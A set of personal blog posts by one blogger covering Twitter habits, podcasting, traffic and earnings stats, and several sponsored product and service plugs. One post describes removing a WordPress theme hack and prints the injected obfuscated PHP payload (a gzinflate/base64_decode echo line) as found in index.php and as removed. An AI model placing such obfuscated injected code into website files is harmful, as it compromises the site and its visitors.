How I Use Twitter

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Twitter BadgeI’ve been using Twitter for several years now and I can say it has enhanced my online presence. It has gained me traffic and attention as a Blogger and that is what you should get from social media. I may not use it as deftly as some of the Twitter pros I see out there, like my buddy Dragonblogger, but it definitely has begun to play a part in my blogging endeavors. Besides that, it can be a heck of a lot of fun meeting people and chatting all over the world. I basically use Twitter three ways:

  1. To broadcast news of my latest posts.  Whenever I publish a post, it gets announced and linked to on my Twitter account.  I have received a lot of traffic as a result of these notifications.
  2. To post statuses that are cross-posted to Facebook. Twitter is not a good place to share photos since it is text based (thpugh they do allow attaching photos as of the latest upgrade). I also show my “latest tweets” in my sidebar on all my blogs.
  3. To make friends and blogging contacts. It’s a great platform for microblogging and discussion. Unfortunately, it’s still difficult to make relevant contacts on Twitter. They are working on making it better I can tell. I think Facebook will always be a better place for your personal network. Twitter is broadcasting outward. I got that idea from Roger Ebert.

I hope this little peek into how I use Twitter encourages you to use it. A lot of people in my world still do not use it. If you do decide to embark on that journey, make sure and add me (if you want)  I am rileycentral on Twitter. See you in the Tweets!

Moving Up

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Written by Sherri Hicks

We are finally moving out of this tiny cramped apartment and moving into a house. I am so excited, we have been living here for the past 3 years and with all the things we have collected during that time we can barely move around. The house we are buying is absolutely gorgeous; it’s out of the city so we are gaining a yard too. We are set to move in this upcoming weekend. I have absolutely no idea how we will fill all the extra space we will be gaining. I think it’s time to go furniture shopping. I was there yesterday getting all of the utilities turned on and I also had met a neighbor. She was very friendly and helpful when I asked her if she would suggest we get our security system activated. She referred me to Minneapolis home security

Talk Radio, Podcasting, and Me

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I grew up loving the radio. In the early 80′s I remember listening to Casey Kasem’s American top 40 on my stereo in my room. It had an 8-track. I suppose that ages me. 8-tracks were cool though. It was a thick magnetic tape that held a string of songs on 8 different tracks. You could skip sections but not yet song to song. That would come later with the CD … much later. I also used to listen to Dr. Demento. That was where I first heard “Weird Al” and others like him. In fact, believe it or not, that was where I heard REM for the first time. Who would have thought to hear them on a joke show.

Later in life I started listening to NPR, National Public Radio. Show hosts like Terry Gross and Larry Mantle just mesmerized me. I listened to their talk shows in my car delivering pizzas and at night going to sleep. I could see the studio listening in my mind. The subjects ranged from “The Life of Woody Allen” to “Baking your meals for the month in one day.” I loved them all. I even bought an electric timer to record the shows when I was out. This was way before DVR or digital radio.

This is why I started my own podcast. It pales in comparison to the great shows I have mentioned but I am improving it as I go (hopefully). It’s my attempt at recreating that magic of the 80′s and 90′s again when I enjoyed talk radio so much. Of course, I know it will never be hugely successful but I love doing it anyway.

I have tried many calendar disciplines with my podcast. I did it once a week for a while and then once a month. There was actually a time when I recorded several in one night and then future time stamped them through WordPress. I tried doing “call in” shows with blogtalkradio.com which was very low quality and difficult to produce. I also tried doing a few “garage concerts.” I made video podcasts and slideshows. I put my podcasts on itunes. In short, I tried a lot of formats and disciplines for the show. What do I have now? Quite a few shows backlogged I am putting out once again little by little at www.damienrileypodcast.com

I should be back on itunes in a little while when I feel I have enough back podcasts to justify the effort. Until then, I hope you’ll dive into my world over there sometime. The archives get bigger inch by inch, day by day.

My WordPress Blogs were Hacked by the daysofyorr.com virus

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Ha ha! It is such a pain to get a virus either on my computer or in my WordPress install. At the same time, it feels great when you have success at removing malicious code. I got one last week that is being referred to as the: daysofyorr.com virus and was able after a couple hours to clean it from my install with minimal effort.

In my case, it was hacked into the index.php file (Main Index Template) of my active theme. Since my theme was a child theme I created, a fresh install didn’t work. It was in the “get header” line of this file in two of my blogs. I hope that helps you get rid of it. Specifically, this is what it looked like:

1. How the raw code appeared in my index.php file:
/**
* The main template file.
*
* This is the most generic template file in a WordPress theme
* and one of the two required files for a theme (the other being style.css).
* It is used to display a page when nothing more specific matches a query.
* E.g., it puts together the home page when no home.php file exists.
* Learn more: http://codex.wordpress.org/Template_Hierarchy
*
* @package WordPress
* @subpackage Twenty_Eleven
*/

get_header();
#b58b6f#
echo(gzinflate(base64_decode("JctRCoAgDADQq8gO4P5DvcuwRUmhbKPl7fvw98FLWuUaFmwOzmD8GTZ6aSkElZrhNBsborvHnab2Y3aRWPuDwjeTcmwKJeFK5Qc=")));
#/b58b6f#
?>

2. The malicious code I removed.
#b58b6f#
echo(gzinflate(base64_decode("JctRCoAgDADQq8gO4P5DvcuwRUmhbKPl7fvw98FLWuUaFmwOzmD8GTZ6aSkElZrhNBsborvHnab2Y3aRWPuDwjeTcmwKJeFK5Qc=")));
#/b58b6f#

I will now always set my active theme’s files to unwriteable.

Blog Stats 3-12

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March was a rather mellow month for blogging. I was really caught up with my teaching and preparing for important stuff coming up there. In the past three weeks however, I have developed a system of blogging for money that I feeling will double or triple my April earnings. Watch for that. Meanwhile, here are my stats for March.
can blogWhat is C.A.N.? Simply put: I self-rank my blogs based on three criteria: backlinks, visitors, and dollars earned. C.A.N. breaks down specifically as: C: circulation (# of backlinks) A: analytics (# of visitors) N: net (# of dollar earnings) The higher the C and A, the higher the Net payout. Some months I make more than others depending on the effort and time I put in.

C: (via Alexa)
damienriley.com 148
rileycentral.net 145
dynamitelessonplan.com 60
blogwithdamien.com 24

A: (via Google Analytics)
damienriley.com 3,265 Visits
rileycentral.net 224 Visits
dynamitelessonplan.com 645 Visits
blogwithdamien.com 513 Visits

N: via Paypal and adsense in the given month from all blogs.
Total: $196.97

a Place to Find a Web Host for your Blog

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I am asked quite a bit about what web hosting I use and which do I recommend. The quick answer I give is an aggregate of services. Web Hosting Fan, for example, gives many ways to search for what you are looking for and they have many webhosting sites you can browse with ease. The idea is too enable you oto find the one there that is perfect for your needs.

Web hosting doesn’t have to be expensive. If you are starting out or if you have found you don’t need tons of disk space etc., you can search web host reviews there for the ones that are lower cost. If you run a video, gaming, or music website, you’re going to need more space. In that case you’ll be able to search their site for the big service you need. You can browse the webhosting faq page there. Let’s face it, every site has different services and therefore needs its own tailored host service to drive it.

The Antiquated Home Page?

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I remember back in the days of Front Page and Geocities everyone online had a Home Page. It was their personal form of expression. It was rarely a commercial page. I had one of course. In the mid nineties I joined Geocities and built a page where  I would write all about my life and the things that were happening. I suppose Facebook and Twitter make the Home Page obsolete but I really missed mine … until today.

Because I maintain several blogs and websites as part of my scheme to write, have fun, and make money at the same time, I decided to make a static home page linking together all my various projects. Do you have a lot of online projects? If so, you might consider the same sort of home page. I know they are still around yet most that I see are trade oriented. Anyone can make a free blog or Facebook account these days. I notice that most people don’t bother with twitter due to its minimal nature and the misleading term of “follow.” It could be a chance for you to combine all your projects into one. You can use any blog editor or coding knowledge you might have to create on. Check out my latest incarnation of a home page and see if it might be something you’d want to create.

What a Small Marketing Budget Can Do

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I’m old enough to remember a time when there was no such thing as online marketing. Fortunately, I am also young enough to know its power. Many companies have been left in the dust because they felt online marketing was irrelevant or just not as effective as traditional marketing means. For example, my dad has hung flyers on house doorknobs for years. They used to bring in a lot of business. Nowadays he gets a lot more referrals from his website than from paper means.

The times are still changing. Now, Facebook, Twitter, and Google+ (just to name 3) are viewed by millions of potential customers a day. I’m here to tell you about a company that excels in “social media marketing and small business marketing. They are experts who get results on a small budget. Have a look at their website and you will quickly see they can make a small marketing budget work like a large one.

Blog Posts About Something vs Nothing

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I have known for years that the most visited posts I write are those that are “pillar posts” or in other words posts about something specific. For example, I wrote a post about the brain and anger several years ago and it remains one of my most highly visited posts. At the same time, I wrote a detailed post on acronyms for personal development and it gets scant attention. Even though that post is about something, it apparently is not about a very highly searched for something. Then there are my short pithy posts that are about nothing. The “Seinfeld” posts if you will. These are my online diary, my journal. In these I just seek to complete some sort of thought in hopes of growing as a writer and person. The challenge in these is simply to be regular at writing them. I have had posts like this gather huge interest as well, but not as much.

I suppose if you are a celebrity the journal entry is the best to write because people care about the minutiae of your day. I think these posts are valuable because they keep my readers updated on what’s up with me. Most my readers who produce Adsense and other advertising dollars will come in for the pillar posts but I don’t want a blog experience that consists of simply writing pillar content. The online diarist in me seeks to reach out and hopes that over time he will produce “Seinfeld” content that entertains.

Harness the Power of Multimedia for Teaching

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As a teacher, I often use video to get a concept across to my kids. I have even made video footage of myself writing on a whiteboard along with slideshows to harness the power of multimedia. If I am teaching “Number Sense 1.3″ for example, I can search Youtube for that standard and likely come up with some great slideshows etc. that will help my lesson be more effective in class. If you haven’t looked, there are more teaching videos on Youtube than ever before. So today I am wearing my teacher hat as I recommend a couple links on IMTOO.

When you decide to use Youtube in your lessons, you inevitably encounter the problem of getting it mobile. Most schools block Youtube. I recommend an ImTOO YouTube Video Converter. It works seamlessly on your computer and you can transfer the teaching videos as files to your teaching station any way you like. USB key zip drives and email are 2 suggestions. I also use FTP. If you use a MAC, there is an ImTOO YouTube Video Converter for Mac. There is no question the helpful content is out there for teachers, the only conundrum is how to get it there. This product solves that problem.